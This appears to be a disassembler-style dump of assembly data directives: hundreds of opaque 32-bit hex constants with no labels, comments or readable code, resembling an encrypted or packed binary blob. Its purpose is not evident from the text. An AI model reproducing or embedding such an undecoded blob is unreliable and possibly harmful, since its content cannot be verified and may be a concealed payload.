		dd 0C0A0AC52h, 62424EF4h, 51E8F49Ah, 0C82B5584h, 0FB06D4FEh
		dd 8FDDF8BBh, 71411B4Ah
		dd 47B0D13Fh, 0FA86B502h, 37D4FECFh, 0AB078CEh,	48106EBBh
		dd 7643E9B5h, 0BF18603Ah, 5EC72D23h, 319A4008h,	10709FECh
		dd 21D4FEA6h, 0DC20A7EDh, 0BC2546C5h, 0DEFC596Dh, 0A6045196h
		dd 0FB6C39DFh, 0B8077DACh, 0D13AD4FEh, 0C0662E8Ch, 5E3382F3h
		dd 0FEB7442Fh, 0E58B52D4h, 4CF2BA18h, 0BC892FF6h, 458BB9A5h
		dd 652C8AD9h, 400470BFh, 46578D95h, 4D2AB6h, 0F8680000h
		dd 0E7458AE2h, 0DD2A791Fh, 4F20CEAEh, 2DFA63DBh, 4F2076FEh
		dd 0A89C0ADBh, 163E152Dh, 0B87FDDB0h, 245BC312h, 14000000h
		dd 65F5DAD8h, 0E83E9DCCh, 3AAB781Eh, 0CFA423EBh, 4ADB4F20h
		dd 6D9CE18Bh, 0D1384D9Ah, 0E48A51A7h, 0F8256F7Bh, 1B4A8FDDh
		dd 0D13832F0h, 0CD2BF861h, 5AB7205h, 525EC738h,	0BF04AA72h
		dd 0D4186B83h, 76C54065h, 0D47A43A1h, 21239107h, 4450F6BEh
		dd 0B1F69C64h, 15E28853h, 0A58055A4h, 36437130h, 274AE700h
		dd 0DF2C79BEh, 1E3D0B0h, 0DE11F8D5h, 0CB2C3F6Eh, 23529700h
		dd 0D5019E5Dh, 0ED1C6BD4h, 0CAEACE1Ah, 0D2B2BE27h, 2759880Ah
		dd 0ACEB470h, 3C6B38A1h, 366C17E5h, 4512B881h, 0C38C1FE7h
		dd 9AE7B41Dh, 7DC8156Bh, 9AB31C56h, 0DA488EB6h,	3D05F86Ch
		dd 0E3AB8B97h, 74DD8350h, 0D67C49A7h, 3BE1AB09h, 0D445106Eh
		dd 2C7E25E1h, 0A875DEDCh, 4A80C432h, 0F4174D31h, 9A7A862Ch
		dd 845F2CD2h, 0A7D61B51h, 4C668E1Ch, 512F5EABh,	0E050304Fh
		dd 0EC552877h, 541E5AA7h, 0CD18EB3Ch, 3D91EF16h, 4E155030h
		dd 9F6ADBA8h, 0F3D3E736h, 67AA92Bh, 2B50303Eh, 2E8C59C2h
		dd 0BC87E567h, 0B1D84916h, 50303DCFh, 4B90F962h, 0C48E21EDh
		dd 77E8B51Eh, 6FDD5328h, 0C6E723F5h, 0C7F5791Fh, 42760A39h
		dd 52BB5030h, 743C9AE9h, 56E14E1h, 0A03773C0h, 748F839Ah
		dd 0CEC94BBh, 0DC455031h, 0D199798Dh, 1DAAE62Bh, 971A66F5h
		dd 0A3F0C514h, 852BF856h, 602047B8h, 0D1503031h, 973E1968h
		dd 0D66190D5h, 4B46195Ch, 0D6874D17h, 8AF38E17h, 30D69E7Eh
		dd 1E403463h, 0D09D99E3h, 0B504AA72h, 20E81B49h, 0C28E6E7Ah
		dd 28F14F1Ch, 7EC5B582h, 5EAD5320h, 0C38F72F2h,	6531111Dh
		dd 47A5F2BFh, 2785D47Ah, 71E7B45Ah, 62AF4103h, 0E31E4D33h
		dd 477BE439h, 3CA970B6h, 217FCE4Bh, 0C3A3AF55h,	0F59B64F7h
		dd 814EB728h, 0F83D2FA6h, 0DE844DABh, 0F6AB608Fh, 0DF2C2FCBh
		dd 95D2D0B0h, 0A9F86133h, 0CA286DD6h, 1B8C59FFh, 453F9C5h
		dd 640AD12Fh, 0DC6F3997h, 35026B11h, 0BC32321Eh, 6285BFA3h
		dd 4DABF096h, 7F25EE81h, 89D84916h, 266AA675h, 42285DC6h
		dd 0AD75D322h, 5BF5083Ch, 0CF3849D2h, 36DCA402h, 0AC3F0B69h
		dd 5D23BE1h, 6A37DDA7h,	0F7FD6753h, 48BBA90Fh, 0E6CEDA80h
		dd 17AF265Ch, 3B7Bh, 0A975B900h, 9882BE03h, 0F59B65EBh
		dd 3E83B728h, 0C7B8EC4Ch, 0B8BA9C06h, 310CE130h, 5483C8A4h
		dd 0D13764AFh, 4E1D2992h, 0AED201h, 1A83D501h, 33ADCBh
		dd 80DE0000h, 0F6BE0DB3h, 0BE03A975h, 22EF9560h, 0B28D62B1h
		dd 423E6D23h, 0EFDB4F20h, 7AD81D86h, 95C409AFh,	0DB4F20EBh
		dd 418EDD46h, 38537512h, 5763CCD1h, 0D8B7F20Dh,	12B882FDh
		dd 2A3564A9h, 0C7D13847h, 93ED165Eh, 96C13510h,	8AE82D3Fh
		dd 0DF501DC3h, 98F64390h, 0AAD928CEh, 0D637F879h, 0C2683288h
		dd 68F4D78Eh, 9902CC0Ch, 57217FCCh, 433D6CB1h, 0EEDA015Ch
		dd 7A5B3685h, 7EADF2h, 0B7CFEA96h, 97E68C59h, 0C9165BC4h
		dd 0ADFCA26Bh, 4E16874Fh, 119AD526h, 1FFF0B74h,	6199B157h
		dd 0CB937B26h, 1329D8F6h, 7CD0000h, 0AA755561h,	4E18F804h
		dd 0EFBC9CA8h, 945D3D49h, 0C8E0E2EEh, 0C18BE87h, 0B3BF652Ch
		dd 556107D3h, 0FB07AD75h, 18689764h, 19D4FEC4h,	0DCA4CE0Eh
		dd 4DDB4F21h, 892FF788h, 9FACDB20h, 0B2D13837h,	0DAA60449h
		dd 846EBF69h, 5A89FCA5h, 0D5016D26h, 0D039A20Bh, 7218E4C4h
		dd 0D97F47A5h, 0AC0743C1h, 0F614E992h, 12BFh, 0BFCB7137h
		dd 626E14DFh, 612B882h,	0A7B35926h, 4C58FEC7h, 28F1A64Ah
		dd 0CF967682h, 713D1D29h, 17DFBFCBh, 1CE6571h, 0FEC3AED2h
		dd 387883D4h, 0EAC4DDF8h, 8D835551h, 8EBD026Bh,	0D1373DBDh
		dd 0AAE62B94h, 3363351Ch, 1B68B70Fh, 0A981F2BDh, 0CEF5961Ch
		dd 6FABF059h, 0FF9BE3C8h, 889CEB79h, 6A37DDA8h,	7C72E11Dh
		dd 0C2416811h, 0A74D1573h, 9AF7CDAh, 6C12DE3Ch,	0D278419Fh
		dd 12D88CF2h, 0BC2F15F9h, 40406FF1h, 0F1D500D3h, 0B0131F88h
		dd 1656816Eh, 5AB73D1h,	430E66B6h, 0D2A1D09Dh, 1BD500D3h
		dd 85E3352Fh, 0D54613B9h, 0B75D2886h, 26103672h, 1C3B0E6Fh
		dd 0ED9B9CDh, 15C09B68h, 0EDE31257h, 64CAF0FCh,	9058B6FBh
		dd 3AACC31Fh, 4895C96Fh, 2D39A2C2h, 9ADF854Dh, 2A6EF95Eh
		dd 47964D94h, 2E3E9772h, 0BE1AADE9h, 56572958h,	71DACEB0h
		dd 74EF0F3Dh, 82312CEEh, 0D4238CAEh, 7A455887h,	43ACC4A0h
		dd 32D8A0FEh, 0D87E4626h, 9360BE0Bh, 0C18E3400h, 0BD98E750h
		dd 511A7818h, 466DDEABh, 0C85FD83Ah, 0E0258EF7h, 48FCD6B1h
		dd 4D156BBEh, 4D3362A7h, 0E4C212B4h, 0ECFA127Bh, 188DDDDFh
		dd 11752543h, 0BB810000h, 5E290915h, 2CCACB8h, 0A370505Ch
		dd 4811F1FDh, 1C9496A2h, 0C0CC723Bh, 677319E0h,	915BB87h
		dd 0AFBB6129h, 641C4B18h, 0CDD4FEC1h, 0E3A482C2h, 0D3DB4F20h
		dd 86556107h, 69B85E28h, 0F05A478Eh, 23668F47h,	0C9165BC4h
		dd 2BF89E6Bh, 693C6BBAh, 98D13F0Ch, 0C28CEA2Fh,	86C6101Ch
		dd 17DD284Ah, 0D42382C7h, 961DD46Eh, 18A03B0h, 0F8410000h
		dd 86CE8EDEh, 4F211C57h, 0F3E8BDBh, 0DB4F2071h,	360157C0h
		dd 352C390h, 0A74D16F4h, 0BE867E3Eh, 760A3986h,	0BBDB4F20h
		dd 0B7970352h, 0DC030D49h, 2BF4C80h, 0E0F8EBB3h, 310F4B90h
		dd 0F7773279h, 0CB34DAA6h, 83CDB47Ch, 0D191DFF8h, 2886C183h
		dd 925FB55Bh, 3F379DECh, 0BCB31636h, 72h, 0A94F1775h, 541C6BDCh
		dd 0DBCF4A86h, 0E2E70C50h, 7420B893h, 7CA34916h, 0DB4E6204h
		dd 9B5BC42Dh, 0DF612886h, 4F20D0B0h, 8FF861DBh,	0B50251C2h
		dd 4F20ED86h, 0B07EBADBh, 0F71D8FDBh, 66CFA2F1h, 0A3986A6h
		dd 0DB4F2076h, 0B60352BBh, 5AB75EEh, 0F19762C0h, 0D8A8D724h
		dd 59DB4F20h, 703887F0h, 760A3986h, 0BBDB4F20h,	0ECB40352h
		dd 26B5h, 0E0F86B00h, 5786D090h, 0DB4F211Ch, 8618D8C9h
		dd 774A86BEh, 888CE812h, 4754FCB7h, 8DF6C938h, 7016E03Eh
		dd 86BC84B0h, 0ECB95F28h, 0ACC62C7Bh, 66B31636h, 16AEF82Ah
		dd 4E3F99E7h, 0FB2F98DEh, 0D0989269h, 83EC5D2Ah, 42CC34h
		dd 0F80A0000h, 68D9A4DFh, 40E8D93Bh, 0FC65CEDEh, 1C57863Ch
		dd 5DB4F21h, 3986DC9Ch,	9F6C12DBh, 1CE7441h, 10D82790h
		dd 65A04A86h, 581FF29Fh, 3AE0AB09h, 29CF97F5h, 0D49CEB5Ch
		dd 23B5BC84h, 6B000000h, 0D191DFF8h, 211C5786h,	0D8C9DB4Fh
		dd 75BE8618h, 844404AAh, 0C5BBEA37h, 6CDB4F20h,	3DA64C16h
		dd 64B526EEh, 6BFFFFFEh, 4A8FDDF8h, 3F71411Bh, 247B0D1h
		dd 0F136DCA4h, 0C1C962B5h, 3685F1C5h, 6115C522h, 8193ED1Ch
		dd 359ED4FEh, 81453968h, 0DD4BD4FEh, 0A1EA7C67h, 2A11B646h
		dd 4F000000h, 4F20D0A4h, 58FEC6DBh, 20D89B4Ch, 9441DB4Fh
		dd 935793D8h, 0C6DBAC72h, 0A8D72473h, 0D13770A3h, 993945AEh
		dd 0A5h, 8FDDF84Fh, 0D89FFD4Ah,	67B4E332h, 8AD1382Dh, 0B27EDC21h
		dd 5420000Ch, 0CF06E1AEh, 2F29589Dh, 0B2CAF266h, 0DAA60449h
		dd 7C482834h, 0A72E09D6h, 0C4C6BAE9h, 26BCEB1h,	0D6255499h
		dd 5BC4A214h, 7499E716h, 2F98C861h, 5B2381C6h, 7CDAA9B5h
		dd 5EBC0BB1h, 43E32596h, 410EB47Eh, 0E74C9CD0h,	32DC8EC2h
		dd 87368363h, 0E1F2061Eh, 451A860Ch, 0EA627h, 0E48A5000h
		dd 872DF8D8h, 2BD19B7Bh, 0CC723F1Fh, 7117E0C0h,	0C4D6365h
		dd 0B1919D43h, 583844EAh, 0FADAE68Ch, 0E9808C32h, 0BF93ED1Ch
		dd 939ED4FEh, 7AD7553h,	6E14DC3Ah, 0D17743A1h, 37DDA604h
		dd 281C826Ah, 1573BAA2h, 7AD8A54Bh, 0CB3C09AFh,	0BDA71362h
		dd 9036FD5Bh, 2FFC52C3h, 14DC3A89h, 0E87A626Eh,	0FB0163Eh
		dd 50h,	0F99F6AC8h, 0A46CBB2Ch,	4A8FDDF8h, 3836081Bh, 0C390F9D1h
		dd 0EBF79D65h, 0D09D430Bh, 478CE0F5h, 0CB5CBFAh, 137CD502h
		dd 0D34877C4h, 0A4CAEB18h, 0AFDC7468h, 0EFDF5CA4h, 8C275B33h
		dd 60338200h, 2ACD3E0Ah, 0BF7939D9h, 5D22891h, 0A0EAF65Fh
		dd 0BF04AA75h, 0B372D083h, 93C72F23h, 6F7F8BE4h, 384C9B67h
		dd 1AE78D58h, 4EFF9EEBh, 0A64C18DBh, 0D4983D9Ah, 5158608Fh
		dd 60C9D13Fh, 71F3BD1Bh, 0FEAF3E42h, 218AF3D4h,	0D56DCB15h
		dd 2B09636h, 18Ah, 8EDEF840h, 1C5786CEh, 0C9DB4F21h, 0A75793D8h
		dd 31DCB8FEh, 42C301A7h, 0B31CCBF2h, 28869C64h,	5C02CE61h
		dd 66B51E8Fh, 0E7675119h, 4CF2BB19h, 0E0F835FDh, 2886D090h
		dd 646AB95Fh, 91DFF81Ah, 86C183D1h, 6AB95F28h, 16367204h
		dd 4289B3h, 0F8C70000h,	86D090E0h, 20760A39h, 52BBDB4Fh
		dd 0EC87B603h, 35DB4F20h, 36C12DFh, 75BE8643h, 864505ABh
		dd 0DE4AFD39h, 0B8599639h, 4EF3EF91h, 0E799C8DBh, 4ADB4EF3h
		dd 5EAD16E1h, 38B5470Fh, 6B000000h, 4B90E0F8h, 20B1CFFEh
		dd 1780DB4Fh, 8350F6C1h, 86FBC312h, 4F211C57h, 93D8C9DBh
		dd 0CF0DB457h, 105F9E8Bh, 5D288648h, 531B68B7h,	4E18AB75h
		dd 16ADBA8h, 6DBC8441h,	0B31636C5h, 8AF2h, 804DAB00h, 20B1CFFEh
		dd 1780DE4Fh, 2170E1AEh, 91DFF859h, 92C3FF4Ch, 221A8D9Eh
		dd 9AB3CDF4h, 157EDB4Eh, 4A86FEC6h, 0BA8376FCh,	0D421703Ch
		dd 4EACCEA5h, 0A5EA53DBh, 89D87E47h, 86BE86C1h,	20760A39h
		dd 76BBDB4Fh, 4F203947h, 268FF8DBh, 8AE79D7h, 394776C3h
		dd 7EDB4F20h, 4F20314Fh, 0CC9700DBh, 0A0460D63h, 37848951h
		dd 3B220FBh, 945264F1h,	136BAB1Eh, 0FFC7167Fh, 0C5604A86h
		dd 853A89DFh, 1F1836h, 0F8CE0000h, 86D191DFh, 0A444FD39h
		dd 1EDD301Bh, 6DD3A0CFh, 2112DB4Eh, 75BE8661h, 844404AAh
		dd 5F2886BCh, 2C7BECB9h, 0FFFE6D0Eh, 0DDF8C4FFh, 21EC4A8Fh
		dd 0B0DF2C7Bh, 0D13F71ACh, 0CC248FCBh, 6844821Fh, 27F04619h
		dd 75D31881h, 9EFB07ADh, 0C4F3383Ch, 0D4FEDCBCh, 0B0561F75h
		dd 1AE78D5Ah, 267340A9h, 8E5B01C8h, 0DF9FCE1Dh,	0B1D4FEDCh
		dd 92380462h, 990554C5h, 7A1630ABh, 21C5B646h, 3000000h
		dd 0B85E2886h, 203A3A69h, 945CDB4Fh, 299BF623h,	247AC870h
		dd 76E7B45Ah, 0BB61010Dh, 17000000h, 0CB5E2886h, 0A1F059FFh
		dd 185D0FC6h, 384CF2E9h, 5F2785D1h, 2C7BECB9h, 4DABF059h
		dd 0CFDB81h, 6431D7A2h,	30993F06h, 24B783E1h, 955FB55Bh
		dd 0DEB986EFh, 0E33075F7h, 4A17BD85h, 0F95B8AD9h, 0E8CAF246h
		dd 5421C792h, 0D7357AE3h, 2798650Bh, 612D8BD8h,	3CFAFBBh
		dd 20B5905Dh, 23D8074Ch, 0EC4A1F6h, 3A0260A5h, 0FE1C81C9h
		dd 0E049B2A5h, 992CF4D4h, 0CF753DD0h, 5B289102h, 496981EAh
		dd 73860C6Eh, 0B1D809Eh, 13D90000h, 0B681616Dh,	5A240410h
		dd 0FBC8A8B4h, 0A0694955h, 0C4ECEEFAh, 1824CA93h, 0BFCB7138h
		dd 616D13DFh, 713B981h,	0C74A370h, 25D4FEBCh, 3986DA1Ah
		dd 42690FDBh, 0DB4F203Eh, 0DD3B8AF3h, 0C28FA415h, 896661B4h
		dd 2DF55320h, 83CABA87h, 5D87E247h, 4D9CD9B2h, 0B88063E1h
		dd 41E0612h, 0B3B016E9h, 65h, 90F01F6Ch, 0A1DB4E51h, 0BCC4F338h
		dd 75DB4E51h, 86F5BD0Ch, 67B65C28h, 0DE23498Ch,	384404AFh
		dd 0E7B41DD1h, 0F1BC189h, 741AE240h, 89E736A7h,	14E1BC1h
		dd 0FDFB85B4h, 0CD36D501h, 3A32A37Eh, 28CE97F5h, 4E9BEA5Bh
		dd 3B41C501h, 5BA6AF3Eh, 4DFEDD0Ch, 0AEF3CAEAh,	0B3F7017Fh
		dd 0FDA30CEh, 8B970069h, 4AA7541h, 4CB29F8h, 212D5382h
		dd 9B04DB4Fh, 0D3B4E332h, 0E3DB4F20h, 8657117h,	312FD4CDh
		dd 51DBB934h, 2756A3E8h, 0DB4E5459h, 0D3206FD8h, 760A3986h
		dd 0BBDB4E54h, 0E9D40352h, 0CED13EA5h, 4710A370h, 0FA63D4A1h
		dd 2A6FD8ABh, 905D03CCh, 2583D01Fh, 5FA9B55Bh, 0BA602886h
		dd 0F71A0EDh, 22DB4F21h, 9B0150B9h, 0B096368Bh,	13A30h
		dd 39866E00h, 4F20760Ah, 352BBDBh, 79BEAE28h, 23063C3Dh
		dd 55A42DA6h, 0DB39868Dh, 0EE1D6C12h, 0DB4F2085h, 86AF6F60h
		dd 0A903BA4Ah, 1257F6D7h, 4E919DE3h, 0DC2B94DBh, 0E767C78Fh
		dd 90E0F89Eh, 0A0FECDD0h, 0F36431D7h, 0DFF8DCA4h, 864EB7C6h
		dd 0DA4B18BEh, 991795A6h, 8F5B2554h, 6DD6DB4Eh,	4372BF04h
		dd 0DB4E8F3Dh, 2BF89E69h, 3786EFBAh, 6DC1836Fh,	0B31636C5h
		dd 0FA01D10Dh, 890E657Eh, 21D23Ah, 0F8100000h, 86D090E0h
		dd 4F211C57h, 0DC9C05DBh, 0AB75BE86h, 0D9A64C18h, 843FFF68h
		dd 24B5BCh, 866B0000h, 0ECB95F28h, 0D1F78EB0h, 8FF8BD16h
		dd 0FB736540h, 1C57863Bh, 0C9DB4F21h, 0BE8618D8h, 4505AB75h
		dd 0C56DBC84h, 0DB31636h, 7542E8AFh, 214DB504h,	8B000000h
		dd 0D191DFF8h, 211C5786h, 2D8BDB4Fh, 996CBB61h,	0BE867030h
		dd 4404AA75h, 35B5BC84h, 6B000000h, 0D191DFF8h,	211C5786h
		dd 3E8BDB4Fh, 4F20710Fh, 857C0DBh, 65C308F9h, 0DFA7F69Ch
		dd 5F14A86h, 609E1F72h,	3AA00E83h, 0F847B098h, 0AA75E3ABh
		dd 0BC844404h, 0B85E2886h, 0FEAE4B69h, 0F801FFFFh, 1B4A8FDDh
		dd 0D13F7141h, 0A40247B0h, 0CD2A36DCh, 0F524690Dh, 0D4FECF8Bh
		dd 41703DA6h, 0D4FECF3Dh, 0BA2C9D69h, 0CAD485FCh, 82E0AD16h
		dd 2E4512B8h, 2C010242h, 0A3E113D1h, 0EA58C42Dh, 0DAE77F7Ah
		dd 2414B646h, 52000000h, 0B95F2886h, 0FD2C7BECh, 0DB4F2077h
		dd 7508D230h, 489E07ADh, 9708D57Bh, 7C22EA48h, 0E4D070h
		dd 0F8860000h, 0FD4A8FDDh, 612ED49Fh, 2972A1F0h, 0C8D13847h
		dd 9ECD1A5Fh, 0D501FBE2h, 4A97E64Fh, 357A20ECh,	9C690FD7h
		dd 0E8C8DC2Bh, 0D331761Ch, 3E136208h, 0B75A4F1h, 26D501FCh
		dd 42936EBDh, 4B98E52Ah, 1FB641Ch, 1564CDD5h, 0F24C7AE6h
		dd 5A2177CAh, 0A8064BB4h, 4A2A36DCh, 4693D87Eh,	0B1AA6917h
		dd 105FC8CEh, 0A75603Bh, 0EC319A40h, 0CB21C78Eh, 1F905D03h
		dd 0E93683D0h, 0B1AAC6BAh, 0BEC2F1CEh, 73CEB1AAh, 87D63F0Ah
		dd 0A1FBA358h, 0E9B614C4h, 0CB21F443h, 0AAEF58FEh, 0D2DE844Ch
		dd 39B92AF2h, 2E7C0621h, 0BF2D45AEh, 2D860C33h,	7893A58h
		dd 0A76D0000h, 4A15F501h, 0EEB898A4h, 8F5C3C48h, 34FDDDE9h
		dd 6880828Eh, 0ACB85E27h, 535F05CCh, 0F501A773h, 9BA74D15h
		dd 78083704h, 0B9D4FEB8h, 0AD756EAEh, 14DC3A07h, 420FB581h
		dd 0AB9B68D1h, 9FFD1F45h, 80DE2DD3h, 6FCD12B8h,	9AAEFDA3h
		dd 164290B2h, 982662B0h, 4124C7B9h, 42339BEAh, 71000000h
		dd 4A8FDDF8h, 2FD59FFDh, 73A2F162h, 0D1382D98h,	548350B9h
		dd 0D5021620h, 0A072F260h, 4D17742h
		dd 0CA33D9A6h, 490D157Bh, 50AAB65Bh, 63000000h,	2119F127h
		dd 2928EF2h, 63AA3D5h, 7AC94685h, 612886B2h, 2E7DEEBBh
		dd 0A5EA8253h, 38259976h, 9862B8D1h, 4BB425F2h,	0B258207Eh
		dd 58FEC6A6h, 4725B08Bh, 34DAA402h, 5AA7F667h, 0EB43702Bh
		dd 0C1881CAh, 7F12DF3Dh, 0D0410EB4h, 0F2501867h, 73F9DCBBh
		dd 4760FF2Eh, 4C91D138h, 1F9631Dh, 5B2554D5h, 0D6D501F9h
		dd 854CA26Dh, 562076DFh, 972E3B0h, 450598C1h, 0F1E49574h
		dd 8BE9367Bh, 0DA4B18BEh, 0C5C75C8Bh, 0D13A0A74h, 0C0AC2904h
		dd 0D4324C7Bh, 27850427h, 9669B85Eh, 0C28AE82Dh, 6830101Ch
		dd 0D34AAC2h, 0CBA047BCh, 646ADh, 44EAB000h, 0E78D5838h
		dd 8B31FBDBh, 2CD29F7Fh, 0D1774020h, 6C2DC3C5h,	11F1FDA3h
		dd 0B898A44Ah, 5A3A46ECh, 49E0EC92h, 0B6334D7Ch, 0F3FED4FEh
		dd 2BAD75B3h, 20F35FEFh, 3D6467E6h, 0DB4ED743h,	25CB98EEh
		dd 398653BCh, 0DFAD80FDh, 0E6AE54AFh, 99027340h, 0ACCA7765h
		dd 126117C9h, 2C68EAB4h, 93AC4A77h, 0C749B72h, 25DB4EEDh
		dd 784753BCh, 116D2E3Ch, 0A9F83E16h, 206507CEh,	3EFF6FF1h
		dd 4C1982D1h, 667E24EEh, 92B1706Ah, 0B45F7D52h,	42000005h
		dd 0EACAD67Ch, 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h
		dd 8F35FE53h, 36DCA383h, 0D87E4A2Ah, 7E24ECCCh,	0DF0EDB72h
		dd 0D4FEB6A1h, 86458590h, 0EEBB6128h, 82532E7Dh, 0DE76A5EAh
		dd 3D13F71h, 0A56FCD9Ah, 0E2E7E7FFh, 0F4C992B1h, 562D6h
		dd 28CE9400h, 0CB713C1Ch, 6F15DFBFh, 10B68363h,	0B55B2404h
		dd 5001A7A9h, 0F5D5E187h, 9C7C882Eh, 3E1E2AD0h,	2DC4D076h
		dd 0B54F3160h, 0D7E2D4FEh, 5F288697h, 8F5C02CCh, 77E8B51Eh
		dd 0E4884D28h, 71E8709Fh, 90F9D13Fh, 7C22ED4Bh,	0E28851AFh
		dd 0EC3BA415h, 5CEFB917h, 0A2DE0D8Fh, 8FD4FED0h, 3C54BD26h
		dd 92B1E368h, 0F4213F14h, 2000004h, 0AA8A963Ch,	4D2D39DFh
		dd 0F1D1DD83h, 92727E24h, 151723C9h, 4FF5BE93h,	0F69C6343h
		dd 983E0AEAh, 3EE4AC8Ch, 9FCE9B32h, 0D4FEB5E1h,	86054550h
		dd 9228914Ah, 1D6C54A2h, 8451F7BFh, 0EBB85E26h,	0FDC82675h
		dd 0CA198A57h, 3B03E65Eh, 6835DBA8h, 0B3828EF7h, 17E48A55h
		dd 31F957A6h, 0F72BD19Eh, 0C5C3C860h, 0DB2089C5h, 0CA0FB57Dh
		dd 4E57E59Bh, 94E34CDBh, 57E390BFh, 1E0ADB4Eh, 79FBC326h
		dd 4E57364Ah, 2992FBDBh, 6A15C01Dh, 0BD2EFBA1h,	75C20F54h
		dd 4E573A46h, 3F8EF7DBh, 3EA8C010h, 0E32891D1h,	1FEB4996h
		dd 143BAC79h, 0D4FE066Ch, 0AF0D5CC5h, 553541E7h, 3F1AE78Dh
		dd 781EE996h, 29BCA0Fh,	0EFCAEE58h, 1BE34186h, 0C1896975h
		dd 62734E1Bh, 0F196C50Ah, 50C496DAh, 3D13CFE7h,	0C89D860Fh
		dd 40AAAh, 8026EC00h, 23C99474h, 0C76D3717h, 680EDBBBh
		dd 0DB37C5Ch, 0A8E9FF01h, 4D2D39DFh, 0F4D4E086h, 96768228h
		dd 851C28CEh, 0B4F789B8h, 2F3AD4FEh, 7AD75EFh, 0C88FED3Ah
		dd 95E45522h, 0BDC96F37h, 0B2F77560h, 383D4883h, 0D3A009D1h
		dd 0B0CE4A86h, 0F76C6855h, 3C70FBDAh, 0FA496EA1h, 1E9A9CBh
		dd 0FB69D7D5h, 5B096600h, 3795B6h, 0F8D30000h, 0EC4A8FDDh
		dd 0DF2C7B21h, 3820D3B0h, 38056ED1h, 116F9EEBh,	20D50221h
		dd 3B3968B7h, 45D50220h, 0D0726DD7h, 7B65B42h, 0D9h, 0F49A62C0h
		dd 0E130D69Eh, 7AD7519h, 8013DC3Ah, 0D9A60FB5h,	5C0F508Ch
		dd 51852BF2h, 8D6BD49h,	0C0B0176Ah, 88E6359Eh, 99D51AC0h
		dd 80D2976h, 0BE93E22Bh, 0ADF29860h, 90DF854Fh,	0CB76CB7Ch
		dd 6830DB4Eh, 0ED6B6C2h, 0F8C52368h, 29F69C65h,	11824FB8h
		dd 0C312EDC2h, 9D2864A9h, 93AEE297h, 26556CA0h,	0DABA100Ah
		dd 900F3E8Bh, 0E7D1375Eh, 0CD1CC289h, 288591FAh, 4B7ABFADh
		dd 0CAF1B2ADh, 79C60B74h, 4283FD2Ch, 45AECEB1h,	29CF98F6h
		dd 0CE743D1Dh, 7C6DF2B6h, 87A57A98h, 2CFh, 0AFBB6127h
		dd 525E04CFh, 0F602A872h, 97A34916h, 3C48EEB7h,	18E1B63Ah
		dd 0BF866672h, 612D0D19h, 7CFAFBBh, 0F1BE5561h,	0FEB3BEC2h
		dd 286873D4h, 0FA06AC75h, 0A0AC521Ah, 8FDDF856h, 20681B4Ah
		dd 70D9D138h, 210074A3h, 3180D502h, 3CD3E7F5h, 77C60128h
		dd 59B7590Bh, 0AE1FEC92h, 0EF69F95Fh, 0E38EB65Bh, 0CC000000h
		dd 0FC2BAD75h, 0DB4F2084h, 207C0433h, 4CB5DB4Fh, 0E2AF1881h
		dd 4815BB84h, 4F262819h, 10B67EDBh, 0CD73504h, 3C09AF79h
		dd 249562CBh, 9AF77D5h,	58B3EF3Ch, 85712B24h, 82532E7Dh
		dd 1FA1DF0Eh, 2790DB4Fh, 554A79BEh, 9CD13851h, 0BCA2733h
		dd 4A17AA74h, 0FD6E3BA4h, 0F7204F94h, 0EACAF2A2h, 22003C81h
		dd 0FE09FDFCh, 47A5F241h, 0FDCCD87Eh, 23F73CC1h, 0B4030907h
		dd 0DC0B8D56h, 0CEB2A3A4h, 0A3BB248Dh, 987DCEF3h, 0D86A885Dh
		dd 1E000001h, 0C6A6B258h, 694955FBh, 0DEDF99Fh,	0AE8E9A40h
		dd 31333FE5h, 6B11DABFh, 12B87F5Fh, 0B45A2606h,	5A00C8A8h
		dd 0BBEAB74Eh, 0D4FEB2C5h, 7521616Ch, 1AFA06ACh, 1A67AC52h
		dd 4F2095EBh, 0A44A11DBh, 1B6594D9h, 16DB4F21h,	0E1F544ADh
		dd 47EDB412h, 0AD7530F8h, 14DC3A07h, 4310B681h,	5D69D2h
		dd 235297D5h, 0D1382CE8h, 4330069h, 0D5021470h,	37A2A210h
		dd 0B65B322Fh, 42CCh, 0DDF80A00h, 20EC4A8Fh, 91DE2B7Ah
		dd 206B1544h, 5DC6DB4Fh, 526CDF0Eh, 0A0E5D138h,	0AED57B42h
		dd 0D501F0D2h, 488DF65Fh, 0C59023EAh, 9267B61Fh, 1F11163h
		dd 43016FD5h, 5B728E98h, 162DB6h, 0A46B0000h, 0DB4F20CFh
		dd 28F48B4Ah, 0A5D41982h, 0D138253Eh, 44E5AC3h,	3EF84A86h
		dd 0A6AFA867h, 13597C57h, 6EF492CEh, 6431A68Bh,	5A99C815h
		dd 0C7D137BFh, 0E644915Eh, 38A9761Ch, 99BABAE9h, 77C6D501h
		dd 0DBA84E19h, 0B5AF1B6Ah, 5BB9384Ah, 18DFB6h, 0A41D0000h
		dd 0DB4F20D0h, 0BB179D7h, 78F4E1BCh, 24DF0433h,	0B922D138h
		dd 288663ADh, 0AD4AEE5Fh, 0EDAAFD19h, 0F046B784h, 3FB07D23h
		dd 0ACC015F0h, 55DE1A67h, 0BA05EEDBh, 6D8BBA09h, 0B4D13E9Dh
		dd 0F940406Fh, 9BF1D4FDh, 0EF602DD3h, 7AD81D86h, 0E5BA09AFh
		dd 0CA703A98h, 0AF551D7Bh, 79FBC3A3h, 0FDF9364Ah, 0DEC7FBD4h
		dd 0BE686113h, 431079E2h, 0E72C9014h, 0E460CEC9h, 87933901h
		dd 0FF5DDFA7h, 1B658C32h, 8BCDAF45h, 0DD4E1BC1h, 7340A912h
		dd 0D5A24815h, 8294D0B4h, 62B15724h, 8A963C04h,	6F3CE2AAh
		dd 1E51h, 4A860700h, 608AED99h,	0E19FCEEDh, 50DB4E7Dh
		dd 0B02F7EE7h, 953B0563h, 0FDA36AC8h, 757D4594h, 0DE3C09AFh
		dd 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h,	0DC3A07ADh
		dd 3E9C690Fh, 0A301CE74h, 0E86532D8h, 81E68956h, 4C6h
		dd 4BA5200h, 29000000h,	34875AD6h, 29685C24h, 89000027h
		dd 8953242Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2414895Ch
		dd 50525768h, 242C8B06h, 5404C483h, 8124148Bh, 4C4h, 0BB535500h
		dd 46700F7Eh, 4245C01h,	8428F5Bh, 7E086A81h, 8B46700Fh
		dd 89572414h, 4C781E7h,	83000000h, 3C8704C7h, 34FF5C24h
		dd 0C4815D24h, 4, 0FD0E9CE9h, 0B50EE8FFh, 0A6B88726h, 3065070h
		dd 86E0FFC5h, 213011E6h, 745CCD2Ah, 585CB388h, 0A80AB94Dh
